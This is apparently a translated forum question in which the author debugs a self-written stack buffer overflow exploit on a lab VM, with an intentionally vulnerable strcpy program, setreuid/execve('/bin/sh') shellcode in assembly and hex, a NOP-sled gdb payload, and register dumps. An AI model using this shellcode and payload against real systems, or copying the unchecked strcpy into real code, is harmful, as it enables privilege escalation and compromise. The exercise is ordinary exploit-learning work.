Ho scritto un programma vulnerabile (sotto) e alcuni shellcode (anche sotto) da usare in un exploit di buffer overflow. Ho avuto gli stessi problemi di questo link , e ha risolto quelli che utilizzavano le risposte lì (-z execstack, -fno-stack-protector). Ora ho un problema a cui ho fatto allusione in un commento.
Sovrascrivo l'indirizzo di ritorno in modo tale che punti al centro di una NOP-slitta (a "\ x38 \ xcf \ xff \ xff", little-endian, trovata usando x / 500x $ esp-500 in gdb). Il programma (comando in fondo) fornisce un errore di segmentazione:
0xffffa0e8 in ?? ()
(gdb) info register
eax 0xfffffffc -4
ecx 0xffffd070 -12176
edx 0x0 0
ebx 0xffffd074 -12172
esp 0xffffd06c 0xffffd06c
ebp 0x2368732f 0x2368732f
esi 0x0 0
edi 0x0 0
eip 0xffffa0e8 0xffffa0e8
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Il byte più a destra dell'indirizzo di ritorno non è quello che dovrebbe essere (eip dovrebbe leggere 0xffffcf38). Se cambio l'indirizzo di ritorno in assurdità, ad esempio "0xffffdddd", ottengo:
Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()
quasi come previsto - una "d" è diventata una "f"! Un indirizzo di ritorno di "0x42424242" funziona come previsto: segfault, 0x42424242 in ?? ()
Quindi: il comportamento previsto è avviare / bin / bash. Il comportamento effettivo consiste nel dare un errore di segmentazione, fornendo come indirizzo di ritorno qualcosa di diverso dall'indirizzo con cui sto cercando di sovrascrivere l'EIP. La domanda è: perché succede e come posso fermarlo?
Il programma vulnerabile:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Compilato con:
gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c
Lo shellcode (da o in gran parte da qui ) in assembly:
BITS 32
; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short two
one:
pop ebx
;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80
two:
call one
db "/bin/sh#"
L'assembly è compilato con:
nasm -bin -o shellcode shellcode.asm
L'attacco viene eseguito in gdb, usando i comandi:
gdb vuln
e
run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')
Il sistema è Linux Mint 17.1 64-bit, in esecuzione in VirtualBox.